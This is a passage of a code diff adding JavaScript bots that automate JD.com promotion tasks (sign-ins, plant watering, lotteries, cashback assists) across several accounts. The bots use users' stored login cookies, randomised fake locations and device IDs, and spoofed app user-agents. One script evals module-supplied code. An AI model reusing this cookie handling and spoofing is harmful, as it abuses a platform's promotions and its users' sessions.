32); m[((l + 64 >> 9) << 4) + 15] = l; for (i = 0; i < m.length; i += 16) { a = HASH[0]; b = HASH[1]; c = HASH[2]; d = HASH[3]; e = HASH[4]; f = HASH[5]; g = HASH[6]; h = HASH[7]; for (j = 0; j < 64; j++) { if (j < 16) W[j] = m[j + i]; else W[j] = safe_add(safe_add(safe_add(sha256_Gamma1256(W[j - 2]), W[j - 7]), sha256_Gamma0256(W[j - 15])), W[j - 16]); T1 = safe_add(safe_add(safe_add(safe_add(h, sha256_Sigma1256(e)), sha256_Ch(e, f, g)), sha256_K[j]), W[j]); T2 = safe_add(sha256_Sigma0256(a), sha256_Maj(a, b, c)); h = g; g = f; f = e; e = safe_add(d, T1); d = c; c = b; b = a; a = safe_add(T1, T2) } HASH[0] = safe_add(a, HASH[0]); HASH[1] = safe_add(b, HASH[1]); HASH[2] = safe_add(c, HASH[2]); HASH[3] = safe_add(d, HASH[3]); HASH[4] = safe_add(e, HASH[4]); HASH[5] = safe_add(f, HASH[5]); HASH[6] = safe_add(g, HASH[6]); HASH[7] = safe_add(h, HASH[7]) } return HASH } function safe_add(x, y) { var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF) } +/*********************************** SHA256 *************************************/ diff --git a/jddj_getPoints.json b/jddj_getPoints.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_getPoints.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jddj_plantBeans.js b/jddj_plantBeans.js new file mode 100644 index 0000000..0b46228 --- /dev/null +++ b/jddj_plantBeans.js @@ -0,0 +1,381 @@ +/* +京东到家鲜豆庄园脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 + +[task_local] +10 0 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_plantBeans.js + +[Script] +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_plantBeans.js,tag=京东到家鲜豆庄园 + +*/ + +const $ = new API("jddj_plantBeans"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH + +let cookies = []; +let thiscookie = '', deviceid = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action\n抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await sign(); + await $.wait(1000); + + await beansLottery(); + await $.wait(1000); + + await getPoints(); + await $.wait(1000); + + await runTask(tslist); + await $.wait(1000); + + await watering(); + await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10003%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + var data = JSON.parse(response.body); + //console.log(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【任务列表】:' + error); + resolve({}); + } + }) +} + +//庄园签到 +async function sign() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=signin%2FuserSigninNew&isNeedDealError=true&body=%7B%22channel%22%3A%22qiandao_indexball%22%2C%22cityId%22%3A' + cityid + '%2C%22longitude%22%3A' + lng + '%2C%22latitude%22%3A' + lat + '%2C%22ifCic%22%3A0%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【庄园签到】:' + data.msg); + resolve(); + }) + + } catch (error) { + console.log('\n【庄园签到】:' + error); + resolve(); + } + }) +} + +//浇水 +async function watering() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%2223e4a58bca00bef%22%2C%22waterAmount%22%3A100%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + await $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) +} + +//一轮结束领鲜豆并参加下一轮 +async function getPoints() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&_funid_=plantBeans/getActivityInfo', 'functionId=plantBeans%2FgetActivityInfo&isNeedDealError=true&method=POST&body=%7B%7D&lat=' + lat + '&lng=' + lat + '&lat_pos=' + lat + '&lng_pos=' + lat + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + + let perid = '', nextid = ''; activityDay = '', pre_buttonId = 0; + await $.http.post(option).then(response => { + //console.log(response.body); + let data = JSON.parse(response.body); + perid = data.result.pre.activityId; + if (data.result.next) nextid = data.result.next.activityId; + activityDay = data.result.cur.activityDay; + pre_buttonId = data.result.pre.buttonId; + }) + + await $.wait(1000); + + //var date = new Date(); + //activityDay = activityDay.split('-')[1].split('.')[1]; + if (pre_buttonId == 1) { + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2FgetPoints&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22' + perid + '%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + await $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【一轮结束领鲜豆】:' + data.msg); + }) + + await $.wait(1000); + + // option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2FgetActivityInfo&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22' + nextid + '%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + // await $.http.post(option).then(response => { + // let data = JSON.parse(response.body); + // console.log('\n【参加下一轮种鲜豆】:' + data.msg); + // }) + } + + } catch (error) { + console.log('\n【一轮结束领鲜豆】:' + error); + resolve(); + } finally { + resolve(); + } + + }) + +} + +//发现露水 +async function beansLottery() { + return new Promise(async resolve => { + try { + for (let index = 0; index < 20; index++) { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&_funid_=plantBeans/beansLottery', 'functionId=plantBeans%2FbeansLottery&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%22241254dc8b9ae89%22%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + await $.http.post(option).then(response => { + let data = JSON.parse(response.body); + if (!!data.result.water) console.log('\n【发现露水】:' + data.result.water + 'g'); + else console.log('\n【发现露水】:' + data.result.text.replace(/\n/g, '')); + }); + await $.wait(1000); + } + resolve(); + + } catch (error) { + console.log('\n【发现露水】:' + error); + resolve(); + } + }) +} + +async function runTask(tslist) { + return new Promise(async resolve => { + try { + for (let index = 0; index < tslist.result.taskInfoList.length; index++) { + const item = tslist.result.taskInfoList[index]; + + //领取任务 + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Freceived&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取任务【' + item.taskName + '】:' + msg); + }) + + if (item.browseTime > -1) { + for (let t = 0; t < parseInt(item.browseTime); t++) { + await $.wait(1000); + console.log('计时:' + (t + 1) + '秒...'); + } + } + + //结束任务 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Ffinished&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n任务完成【' + item.taskName + '】:' + msg); + }) + + //领取奖励 + option = urlTask('https://daojia.jd.com/client?_jdrandom=1618492672164&functionId=task%2FsendPrize&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + item.taskId + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取奖励【' + item.taskName + '】:' + msg); + }) + + + } + resolve(); + } catch (error) { + console.log('\n【执行任务】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Origin': 'https://daojia.jd.com', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148________appName=jdLocal&platform=iOS&commonParams={"sharePackageVersion":"2"}&djAppVersion=8.7.5&supportDJSHWK', + 'Accept-Language': 'zh-cn' + }, + body: body + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if (o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/jddj_plantBeans.json b/jddj_plantBeans.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_plantBeans.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jx_aid_cashback.js b/jx_aid_cashback.js new file mode 100644 index 0000000..cb68b0d --- /dev/null +++ b/jx_aid_cashback.js @@ -0,0 +1,49 @@ +let common = require("./function/common"); +let $ = new common.env('京喜购物返红包助力'); +let min = 5, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://happy.m.jd.com/babelDiy/Zeus/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html?asid=287215626&un_area=12_904_905_57901&lng=117.612969135975&lat=23.94014745198865', + } +}); +$.readme = ` +在京喜下单,如订单有购物返现,脚本会自动查询返现groupid并予以助力,目前每个账号每天能助力3次 +44 */6 * * * task ${$.runfile} +export ${$.runfile}=2 #如需增加被助力账号,在这边修改人数 +` +eval(common.eval.mainEval($)); +async function prepare() { + let url = `https://wq.jd.com/bases/orderlist/list?order_type=3&start_page=1&last_page=0&page_size=10&callersource=newbiz&t=${$.timestamp}&traceid=&g_ty=ls&g_tk=606717070` + for (let j of cookies['help']) { + $.setCookie(j); + await $.curl(url) + try { + for (let k of $.source.orderList) { + try { + let orderid = k.parentId != '0' ? k.parentId : k.orderId + let url = `https://wq.jd.com/fanxianzl/zhuli/QueryGroupDetail?isquerydraw=1&orderid=${orderid}&groupid=&sceneval=2&g_login_type=1&g_ty=ls` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + let now = parseInt(new Date() / 1000) + let end = $.source.data.groupinfo.end_time + if (end > now && $.source.data.groupinfo.openhongbaosum != $.source.data.groupinfo.totalhongbaosum) { + let groupid = $.source.data.groupinfo.groupid; + $.sharecode.push({ + 'groupid': groupid + }) + } + } catch (e) {} + } + } catch (e) {} + } +} +async function main(id) { + common.assert(id.groupid, '没有可助力ID') + let url = `http://wq.jd.com/fanxianzl/zhuli/Help?groupid=${id.groupid}&_stk=groupid&_ste=2&g_ty=ls&g_tk=1710198667&sceneval=2&g_login_type=1` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + console.log($.source.data.prize.discount) +} diff --git a/jx_sign.js b/jx_sign.js new file mode 100644 index 0000000..9fca415 --- /dev/null +++ b/jx_sign.js @@ -0,0 +1,703 @@ +/* +京喜签到 +cron 20 1,8 * * * jx_sign.js +活动入口:京喜APP-我的-京喜签到 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜签到 +20 1,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "20 1,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js,tag=京喜签到 + +===============Surge================= +京喜签到 = type=cron,cronexp="20 1,8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js + +============小火箭========= +京喜签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jx_sign.js, cronexpr="20 1,8 * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o 